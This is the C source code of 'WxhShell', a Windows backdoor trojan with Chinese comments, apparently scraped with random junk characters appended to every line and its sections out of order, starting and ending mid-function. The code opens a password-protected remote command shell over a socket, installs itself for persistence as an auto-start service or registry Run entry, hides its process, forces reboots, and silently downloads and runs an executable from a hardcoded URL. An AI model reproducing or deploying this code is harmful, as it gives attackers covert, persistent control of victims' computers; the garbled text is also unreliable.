    if(Boot(SHUTDOWN)) '8pPGh9D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $v}8lBCr3  
    else { ThqfZl=V  
    closesocket(wsh); a!J ow?(  
    ExitThread(0); L4A/7Ep  
    } +q, n}@y=  
    break; /dvnQW4}8  
    } &+r ;>  
  // 获取shell `GN5QLg#}0  
  case 's': { GHsdLe=t0#  
    CmdShell(wsh); !vo'8r?&  
    closesocket(wsh); [F-u'h< *l  
    ExitThread(0); >p#d;wK4_  
    break; U@t?jTMBkO  
  } VEYKrZA  
  // 退出 tS/APSY  
  case 'x': { SIBIh-L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BHBT=,sI  
    CloseIt(wsh); lo;9sTUHT  
    break; .$s|T  
    } nF y7gA|  
  // 离开 xbH!:R;  
  case 'q': { $8ww]}K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E$yf2Q~k  
    closesocket(wsh); k49n9EX  
    WSACleanup(); xA1pDrfC/  
    exit(1); q}24U3ow  
    break; -bb7Y  
        } @_:?N(%(  
  } v&/-&(+  
  } %|6Q7'@p  
jE5 9h  
  // 提示信息 ^0?cyv\>LA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )^2jsy -/  
} g<0%-p  
  } LFM5W&?  
(IQ L`3f%  
  return; XK9*,WA9r  
} VqT[ca\  
,7$uh):  
// shell模块句柄 |q b92|?  
int CmdShell(SOCKET sock) ?|rw=%  
{ ,7nb;$]  
STARTUPINFO si; <+JFal  
ZeroMemory(&si,sizeof(si)); 0J,d9a [1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  G/;aZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zgOwSg8  
PROCESS_INFORMATION ProcessInfo; b0CaoSWo  
char cmdline[]="cmd"; u^.k"46hn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :qKY@-t7H  
  return 0; 00x^zu?N  
} &XTd[_VW!  
8}b[Q/h!  
// 自身启动模式 ~=]@], {  
int StartFromService(void) k  5kX  
{ iYs?B0*JWK  
typedef struct 3\~fe/z'I  
{ 3T^dgWXEG  
  DWORD ExitStatus; >N"PLSY1  
  DWORD PebBaseAddress; MBrVh6z>  
  DWORD AffinityMask; pY5HW2TsY|  
  DWORD BasePriority; p" W0$t.  
  ULONG UniqueProcessId; z`{zqP:  
  ULONG InheritedFromUniqueProcessId; l]=$<  
}   PROCESS_BASIC_INFORMATION; EF{'J8AQ  
d33Nx)No  
PROCNTQSIP NtQueryInformationProcess; 7027@M?A?  
`5jB|r/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~g|0uO}.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fszeJS}Dw  
&=O1Qg=K  
  HANDLE             hProcess; AS^$1i:  
  PROCESS_BASIC_INFORMATION pbi; /3%xQK>%  
~4gKA D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &jd<rs5}  
  if(NULL == hInst ) return 0; } ZGpd9D  
&8L\FAY0%9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TTak[e&j3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Ya6yz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'U Cx^-  
Eu~wbU"%  
  if (!NtQueryInformationProcess) return 0; JU+'UK630  
KftM4SFbK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pu*UZcXY  
  if(!hProcess) return 0; |W];v@b\y  
X,CF Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LMj'?SuH  
nECf2>Yp v  
  CloseHandle(hProcess); N2Hb19/k  
t O;W?g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o fv 1G=P  
if(hProcess==NULL) return 0; %+J*oFwQu  
S*@0%|Q4r  
HMODULE hMod; U MIZ:*j  
char procName[255]; =xP{f<`   
unsigned long cbNeeded; .Q@'Ob`  
V2skr_1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [)c|oh%  
84cH|j`w  
  CloseHandle(hProcess); =i %w_ e  
RL8 wSK  
if(strstr(procName,"services")) return 1; // 以服务启动 ?saVk7Z[|5  
Ka2tr]+s  
  return 0; // 注册表启动 SXF_)1QO\W  
} aBLb i  
L#b Q`t  
// 主模块 ay[*b_f  
int StartWxhshell(LPSTR lpCmdLine) M&-/ &>n!  
{ "A3xX&9-q  
  SOCKET wsl; l_EI7mJ  
BOOL val=TRUE; A2S9h,t  
  int port=0; S*:w\nXP~  
  struct sockaddr_in door; >ON.ftZ i  
]iX$p~riH  
  if(wscfg.ws_autoins) Install(); Rj= Om  
DlO;EH  
port=atoi(lpCmdLine); (LPD  
S`.-D+.68  
if(port<=0) port=wscfg.ws_port; 6[7k}9`alz  
o)WSMV(&f  
  WSADATA data; ,Yz+?SmSZ&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =1Jo-!{{  
VHNiTp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Cf[nGh|B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M lwQ_5O  
  door.sin_family = AF_INET; h]9^bX__Z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &|] ^ u/  
  door.sin_port = htons(port); W{aNS@1  
c>.Xc[H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lcm!e  
closesocket(wsl); _gh7_P^H=d  
return 1; Bk <P~-I  
} pQ8+T|0x  
s50ln&2  
  if(listen(wsl,2) == INVALID_SOCKET) { }C}_ I:=C  
closesocket(wsl); UlytxWkUX  
return 1; >^N :A  
} `;@4f |N9  
  Wxhshell(wsl); )FPbE^s(  
  WSACleanup(); m,O !M t  
E~^'w.1  
return 0; ="K>yUfcFl  
4y.[tk5  
} "<#:\6aym  
Df^S77&c!  
// 以NT服务方式启动 P#PQ4uK \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K(S/D(\ FL  
{ n Lb 9$&  
DWORD   status = 0; >j3N-;o@?  
  DWORD   specificError = 0xfffffff; Bs}>#I  
'"^JNb^I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;wrgpP3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jmx }r,j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lX3h'h  
  serviceStatus.dwWin32ExitCode     = 0; 3R {y68-S  
  serviceStatus.dwServiceSpecificExitCode = 0; ~O-8h0d3  
  serviceStatus.dwCheckPoint       = 0; 2oLa`33c1  
  serviceStatus.dwWaitHint       = 0; |&7,g  
oJ:J'$W(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = ;d<Ikj  
  if (hServiceStatusHandle==0) return; L4b4X  
(z7#KJ1+Aw  
status = GetLastError(); Xg,BK0O  
  if (status!=NO_ERROR) ibyA~YUN/  
{ 4fswx@l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pa<X^&  
    serviceStatus.dwCheckPoint       = 0; lH.2H  
    serviceStatus.dwWaitHint       = 0; I "4B1g  
    serviceStatus.dwWin32ExitCode     = status; Ip0q&i<6  
    serviceStatus.dwServiceSpecificExitCode = specificError; .<dmdqk]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4^&vRD,  
    return; ev $eM  
  } 4aC#Cv:0  
ZD(gYNi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U,BB C  
  serviceStatus.dwCheckPoint       = 0; 8vK&d>  
  serviceStatus.dwWaitHint       = 0; E12k1gC`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KJ_R@,v\  
} l.$#IE  
tw66XxE  
// 处理NT服务事件,比如:启动、停止 HJmO+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [eRMlSXA  
{ E3!twR*Aw  
switch(fdwControl) iY-dM(_:]  
{ >Fz$DKr[  
case SERVICE_CONTROL_STOP: HV@:!zM  
  serviceStatus.dwWin32ExitCode = 0; intf%T5#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P>|2~YxjU  
  serviceStatus.dwCheckPoint   = 0; hh9{md\  
  serviceStatus.dwWaitHint     = 0; #eYVZ=E  
  { iq$/ 6!t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /eQn$ZRP,  
  } %L3]l  
  return; Pp2 )P7  
case SERVICE_CONTROL_PAUSE: N;Bal/kd2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eAMT72_  
  break; zKNk(/y  
case SERVICE_CONTROL_CONTINUE: `Nj|}^A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Bh?;\D'YC  
  break; KXJHb{?  
case SERVICE_CONTROL_INTERROGATE: k&b>-QP6  
  break; ~ 4a aJ0  
}; Lg1Usy%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a0R]hENC  
} 3>+;G4  
mX89^  
// 标准应用程序主函数 fvD wg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *M:Bhw  
{ DN+`Q{KS  
n[@Ur2&)  
// 获取操作系统版本 9!LAAE`  
OsIsNt=GetOsVer(); jJ|;Nwm<[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lK-I[i!  
PO&`r r  
  // 从命令行安装 f@0`,  
  if(strpbrk(lpCmdLine,"iI")) Install(); }MNm>3  
cF6|IlhO  
  // 下载执行文件 duI8^&|  
if(wscfg.ws_downexe) { \cG'3\GI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uT1x\Rt|e  
  WinExec(wscfg.ws_filenam,SW_HIDE); _D~a4tgS  
} k{~5pxd-t  
Y*Pr  
if(!OsIsNt) { 8/:\iPk0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q*I/mUP&f  
HideProc(); "q$M\jK#V  
StartWxhshell(lpCmdLine);  X_lNnk  
} nB.p}k  
else $IHa]9 {  
  if(StartFromService()) {#vo^& B  
  // 以服务方式启动 SZ_hGD0  
  StartServiceCtrlDispatcher(DispatchTable); <\5{R@A*6  
else b{&@ Lm0Tn  
  // 普通方式启动 d1-QkW^0y  
  StartWxhshell(lpCmdLine); b}fH$.V@  
+"!IVHY  
return 0; [Mi~4b  
} {T.VB~C  
?CIa)dhu  
%9j]N$.V  
C.@TX  
=========================================== G.Q+"+* ^  
gisZmu0  
M-NR!?9  
jAu/] HZx  
*$QUE0  
5J,vH  
" \m<*3eS  
IY'S<)vOY  
#include <stdio.h> rZLMY M  
#include <string.h> L,i-T:Z~=  
#include <windows.h> }sFHb[I &  
#include <winsock2.h> IoC,\$s,  
#include <winsvc.h> C RNO4  
#include <urlmon.h> vQ;Z 0_  
4 QWHGh"  
#pragma comment (lib, "Ws2_32.lib") t?\osPL  
#pragma comment (lib, "urlmon.lib") {S?.bT%&  
W+QI D/  
#define MAX_USER   100 // 最大客户端连接数 R&?p^!`%  
#define BUF_SOCK   200 // sock buffer i[B%:q:&  
#define KEY_BUFF   255 // 输入 buffer 9I,Trk@&  
V{][{5SR  
#define REBOOT     0   // 重启 1peN@Yk2W  
#define SHUTDOWN   1   // 关机 ^dro*a,  
/#tOi[0[  
#define DEF_PORT   5000 // 监听端口 =#W6+=YN8  
Cd4G&(=  
#define REG_LEN     16   // 注册表键长度 O_ ~\$b  
#define SVC_LEN     80   // NT服务名长度 v"`w'+  
-{dw Ll_  
// 从dll定义API 7*sB"_U2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j9%=^ZoQj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {'/8{dS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hxjh P(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +U[A.^t  
}u :sh >2  
// wxhshell配置信息 ^W^%PJ D |  
struct WSCFG { [|vd r.  
  int ws_port;         // 监听端口 dwRJ0D]&  
  char ws_passstr[REG_LEN]; // 口令 37VSE@Z+  
  int ws_autoins;       // 安装标记, 1=yes 0=no i]P]o)  
  char ws_regname[REG_LEN]; // 注册表键名 Na4\)({  
  char ws_svcname[REG_LEN]; // 服务名 =dPrG=A   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +S$x}b'5q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nkxVc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zJPzI{-w|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \QVL%,.%M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T!8,R{V]4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *cf#:5Nl  
z;T?2~g!  
}; ~MOIrF  
9BP-Iet  
// default Wxhshell configuration '2eggX%  
struct WSCFG wscfg={DEF_PORT, [l0>pHl@  
    "xuhuanlingzhe", 4g|}]K1s  
    1, FbF P  
    "Wxhshell", WHL@]^E@m  
    "Wxhshell", qTG/7tn "  
            "WxhShell Service", |1#*`2j\=9  
    "Wrsky Windows CmdShell Service", s q_ f[!  
    "Please Input Your Password: ", .RdnJ&K*  
  1, z Mtx>VI  
  "http://www.wrsky.com/wxhshell.exe", b^0=X!bg  
  "Wxhshell.exe" q%nWBmPZ~y  
    }; {Wt=NI?Ow  
7"1M3P5*8  
// 消息定义模块 %5'6^bT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6]M(ElV1H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {$Qw]?Yv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3qP! (*  
char *msg_ws_ext="\n\rExit."; nBR4j?':i  
char *msg_ws_end="\n\rQuit."; yN9/'c~  
char *msg_ws_boot="\n\rReboot..."; YH@^6Be9  
char *msg_ws_poff="\n\rShutdown..."; +d<o2n4!  
char *msg_ws_down="\n\rSave to "; Dc U$sf*  
fnB[b[  
char *msg_ws_err="\n\rErr!"; i6aM}p<  
char *msg_ws_ok="\n\rOK!"; F.4xi+S_  
!Eu}ro.}  
char ExeFile[MAX_PATH]; 04o(05K  
int nUser = 0; T)MKhK9\Ab  
HANDLE handles[MAX_USER]; `$05+UU  
int OsIsNt; H+` Zp  
Pa+%H]vB  
SERVICE_STATUS       serviceStatus; {;q zz9 |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cJMp`DQzc  
4PR!OB  
// 函数声明 Lc=t,=OhGe  
int Install(void); idEhxvAo  
int Uninstall(void); /; w(1)B  
int DownloadFile(char *sURL, SOCKET wsh); %AaZc=a[c  
int Boot(int flag); eot%T h?[  
void HideProc(void); `@RTfBB g  
int GetOsVer(void); RGsgT^  
int Wxhshell(SOCKET wsl); a0~LZQ?  
void TalkWithClient(void *cs); 3v\}4)A[  
int CmdShell(SOCKET sock); 0 *2^joUv  
int StartFromService(void); xcty  
int StartWxhshell(LPSTR lpCmdLine); 2)-Umq{]{  
|cs]98FEf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OQ&l/|{O0?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0.+MlyA  
z#m ~}  
// 数据结构和表定义 wt]onve}%  
SERVICE_TABLE_ENTRY DispatchTable[] = ~ 6DaM!  
{ *mby fu0q  
{wscfg.ws_svcname, NTServiceMain}, vhvFBx0  
{NULL, NULL} %py3fzg  
}; T,r?% G{XE  
]jjHIFX  
// 自我安装 f3^Anaa]l  
int Install(void) *PM#ngLX}r  
{ f?W_/daP  
  char svExeFile[MAX_PATH]; W[/Txc0$  
  HKEY key; qz95)  
  strcpy(svExeFile,ExeFile); 0~4Ww=#  
FF#T"y0Y  
// 如果是win9x系统,修改注册表设为自启动 k'QI`@l&l  
if(!OsIsNt) { IK1'" S|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nvbzCtC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2{|Z?3FJ^  
  RegCloseKey(key); SMo nJ;Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AT%6K.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $+w:W85B  
  RegCloseKey(key); 41g "7Mk  
  return 0; F/V -@SF  
    } bI+/0X x  
  } @CMEmgk~  
} Q<0X80w>  
else { > 9.%hSy  
AO, o|,#4F  
// 如果是NT以上系统,安装为系统服务 S#kYPe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9:R3+,ZN  
if (schSCManager!=0) ncrg`<'/,  
{ Uo?4o*}  
  SC_HANDLE schService = CreateService 6%it`A8}  
  ( :CLWmMC_  
  schSCManager, M0yv= g  
  wscfg.ws_svcname, !#d5hjoX  
  wscfg.ws_svcdisp, &+ "<ia(  
  SERVICE_ALL_ACCESS, `R;i1/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1_WP\@ O  
  SERVICE_AUTO_START, {8>g?4Q#  
  SERVICE_ERROR_NORMAL, ;*QK^#  
  svExeFile, y 4U|~\]  
  NULL, ~[%_]/#&%z  
  NULL, t0,=U8]w  
  NULL, AXF 1{  
  NULL, ClG\Kpi rh  
  NULL x ]">  
  ); A3)"+`&PUl  
  if (schService!=0) x$;RfK2&p  
  { 4_kY^"*#"  
  CloseServiceHandle(schService); d~ +(g!  
  CloseServiceHandle(schSCManager); _B>'07D0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NOg/rDs'{  
  strcat(svExeFile,wscfg.ws_svcname); 0<7sM#sI!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E;}&2 a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4%2APvLW  
  RegCloseKey(key); `Fie'[F5,)  
  return 0; zOd* >  
    } w"5Eyz-eO  
  } vJxE F&X  
  CloseServiceHandle(schSCManager); UB/"&I uo  
} h4jo<yp\  
} .fbY2b([  
?5FlbiT  
return 1; A 0v=7 ]  
} ;plBo%EBV  
![;={d0  
// 自我卸载 SIapY%)h  
int Uninstall(void) 1RJFPv  
{ dP?prT  
  HKEY key; M!+J[q  
Qo)Da}uo20  
if(!OsIsNt) { &Ts!#OcB,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }4p)UX>aWT  
  RegDeleteValue(key,wscfg.ws_regname); Li]bU   
  RegCloseKey(key); ]!ox2m_U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VwpC UW  
  RegDeleteValue(key,wscfg.ws_regname); ?r KbL^2  
  RegCloseKey(key); 10fxK  
  return 0; D'<L6w`  
  } Vbt!, 2_)  
} ^R=`<jx   
} [I=|"Ic~  
else { rCwE$5 b  
w i[9RD@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i,h30J  
if (schSCManager!=0) FY^2 Y  
{ XVkw/ l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +}O -WX?  
  if (schService!=0) #B<EMGH  
  { Kf1J;*i|\  
  if(DeleteService(schService)!=0) { {;DAKWm@T  
  CloseServiceHandle(schService); gu3iaM$W  
  CloseServiceHandle(schSCManager); Mh*r)B~%[  
  return 0; ||JUP}eP  
  } 4XNheP;b  
  CloseServiceHandle(schService); VE-l6@`  
  } w+/`l*  
  CloseServiceHandle(schSCManager);  Z/%FQ  
} kV+^1@"  
} *#'j0;2F  
tBbOxMm0  
return 1; T[ZmD{6l  
} \?; `_E`j  
ss[`*89  
// 从指定url下载文件 wn.~Dx  
int DownloadFile(char *sURL, SOCKET wsh)  ][wb4$2  
{ ]R_R`X?  
  HRESULT hr; rw,Ylr :3  
char seps[]= "/"; uG^CyM>R`  
char *token; z3y{0<3  
char *file; (B>/LsTu  
char myURL[MAX_PATH]; 'g!T${  
char myFILE[MAX_PATH]; r5DR F4,7  
V_:`K$  
strcpy(myURL,sURL); S7)qq  
  token=strtok(myURL,seps); h{gFqkDoTI  
  while(token!=NULL) `wXK&R<`  
  { ]:OrGD"  
    file=token; B~w$j/sWU  
  token=strtok(NULL,seps); ID43s9  
  } 1(-!TJ{  
pASX-rb  
GetCurrentDirectory(MAX_PATH,myFILE); !gve]>M  
strcat(myFILE, "\\"); *{3d+j/?/  
strcat(myFILE, file); lG)wa  
  send(wsh,myFILE,strlen(myFILE),0); QQBh)5F  
send(wsh,"...",3,0); QkBw59L7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J-hJqR*;K  
  if(hr==S_OK) Jqj!k*=/  
return 0; g%&E~V/g$  
else >E>yA d  
return 1; mY.v:  
rS{}[$Zpl  
} iX$G($[l(  
D`T;j[SsS#  
// 系统电源模块  !BsQJ_H  
int Boot(int flag) U?#wWbE1  
{ P9/ (f$=  
  HANDLE hToken; |Y>Jf~SN  
  TOKEN_PRIVILEGES tkp; ^O18\a  
jc&k-d>=G  
  if(OsIsNt) { !&{rnK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); au{) 5W4~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2)n`Bd  
    tkp.PrivilegeCount = 1; uZC=]Ieh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cD0rU8x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {Sf[<I  
if(flag==REBOOT) { :~otzI4%!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LqbI/AQ)  
  return 0; vkIIuNdDlx  
} &"^F;z/  
else { Ca|egQv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lS4rpbU_  
  return 0; ?H=q!i  
} L}`/v]E"eU  
  } /W/e%.  
  else { jVQy{8{G  
if(flag==REBOOT) { IMkE~0x4</  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }|.<EkA  
  return 0; |-Uh3WUE6  
} YNr"]SA@;  
else { B&]`OO>O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M7TLQqaF  
  return 0; 2!{D~Gfl=  
} (QDKw}O2b  
} !;eE7xn&  
L,}'ST  
return 1; Cz0FA]-g  
} lL}NiN-)t  
$*ff]>#  
// win9x进程隐藏模块 DZSS  
void HideProc(void) :C:6bDQ  
{ %L=e%E=m  
AS7L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Az&>.*  
  if ( hKernel != NULL ) \N9=13W<lK  
  { P_(8+)ud-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q&25,zWD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X' `n>1z  
    FreeLibrary(hKernel); z`wIb  
  } Zw]"p63eMa  
l7|z]v-  
return; wZ(1\ M(  
} fz(YP=@ZnP  
XQo\27Fo  
// 获取操作系统版本 ;|q<t  
int GetOsVer(void) C?\(?%B  
{ iXDG-_K  
  OSVERSIONINFO winfo; 9{u=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F7DA~G!  
  GetVersionEx(&winfo); =I# pXL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YnEyL2SuU  
  return 1; 'H5 30Y\  
  else I0m7;M7 P  
  return 0; Gyq 6?  
} ?()*"+N(ck  
hY`<J]-'`  
// 客户端句柄模块 ]3LLlXtK[  
int Wxhshell(SOCKET wsl) ZSuoD$~k[  
{ TxJk.c  
  SOCKET wsh; =\<NTu  
  struct sockaddr_in client; }9^:(ty2A  
  DWORD myID; M& ZKc  
$94lF~  
  while(nUser<MAX_USER) y\T$) XGV  
{ tgF~5 o}?  
  int nSize=sizeof(client); P T;{U<5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3"h*L8No  
  if(wsh==INVALID_SOCKET) return 1; ~<[+!&<U  
=-r"@2HBq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); if*V-$[I  
if(handles[nUser]==0) G"/;Cq=t  
  closesocket(wsh); 2P"643tz  
else LKM018H>  
  nUser++; \ lbH   
  } W Z'<iI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >V"{]v  
9<gW~ s>  
  return 0; //&3{B  
} &W\e 5X<A  
?MH=8Cl1w  
// 关闭 socket `i`P}W!F  
void CloseIt(SOCKET wsh) _}F& ^  
{ y!b"Cj  
closesocket(wsh); f)Qln[/  
nUser--; B ~v6_x  
ExitThread(0); nt2b}u>*  
} I): c#  
?/.])'&b  
// 客户端请求句柄 hk?i0#7W  
void TalkWithClient(void *cs) HZ9>4G3  
{ {y"Kn'1  
QNbZ)  
  SOCKET wsh=(SOCKET)cs; Nw"df=,{  
  char pwd[SVC_LEN]; 2 5~Z%_?  
  char cmd[KEY_BUFF]; /dCsZA  
char chr[1]; jkk%zu  
int i,j; I#OZ:g^  
x// uF  
  while (nUser < MAX_USER) { f#l9rV"@g  
e)}E&D;${  
if(wscfg.ws_passstr) { [A~?V.G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #._JB-,'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _WS8I>  
  //ZeroMemory(pwd,KEY_BUFF); q]4h#?.-1v  
      i=0; =X'[r  
  while(i<SVC_LEN) { ~i1 jh:,  
#ft9ms#N  
  // 设置超时 :q/s%`ob  
  fd_set FdRead; o33t~@RX  
  struct timeval TimeOut; w[GEm,ZC  
  FD_ZERO(&FdRead); CbZ;gjgY*  
  FD_SET(wsh,&FdRead); vAM1|,U  
  TimeOut.tv_sec=8; lf-.c$.>  
  TimeOut.tv_usec=0; 'd N1~Pa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #w''WOk@ZG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f>Rux1Je4  
x_3B) &9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &$XTe2  
  pwd=chr[0]; ? l~qb]._  
  if(chr[0]==0xd || chr[0]==0xa) { :Quep-:fy<  
  pwd=0; #H6YI3 `G  
  break; )xVf3l pQ  
  } lW"0fZ_x'E  
  i++; ~C{:G;Iy0  
    } VP!4Nob  
,#XXwm ^I  
  // 如果是非法用户,关闭 socket f}yRTR GJv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @G;9eh0$  
} +s<6eHpm  
{>km]CG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1L`V{\_0s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,hf W2}  
6D| F1UFU  
while(1) { f%PLR9Nh5@  
2|"D\N  
  ZeroMemory(cmd,KEY_BUFF); /[?} LrDO  
P<>NV4  
      // 自动支持客户端 telnet标准   &j~9{ C  
  j=0; H`M|B<.  
  while(j<KEY_BUFF) {  dw;<Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |[~ S&  
  cmd[j]=chr[0]; {_!,T%>+1  
  if(chr[0]==0xa || chr[0]==0xd) { p"P+8"`  
  cmd[j]=0; ^U?Ac=  
  break; F;_c x  
  } m=n79]b:N  
  j++; ;%0kzIvP  
    } bj`GGxzOb  
iuj%.}  
  // 下载文件 Rk5#5R n  
  if(strstr(cmd,"http://")) { -0xo6'mD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zb_A(mnzh  
  if(DownloadFile(cmd,wsh)) 1>[#./@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ep(xlHTv  
  else mxEe -q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .<vXj QE  
  } n;Mk\*Cg  
  else { Zrwd  
jvv=  
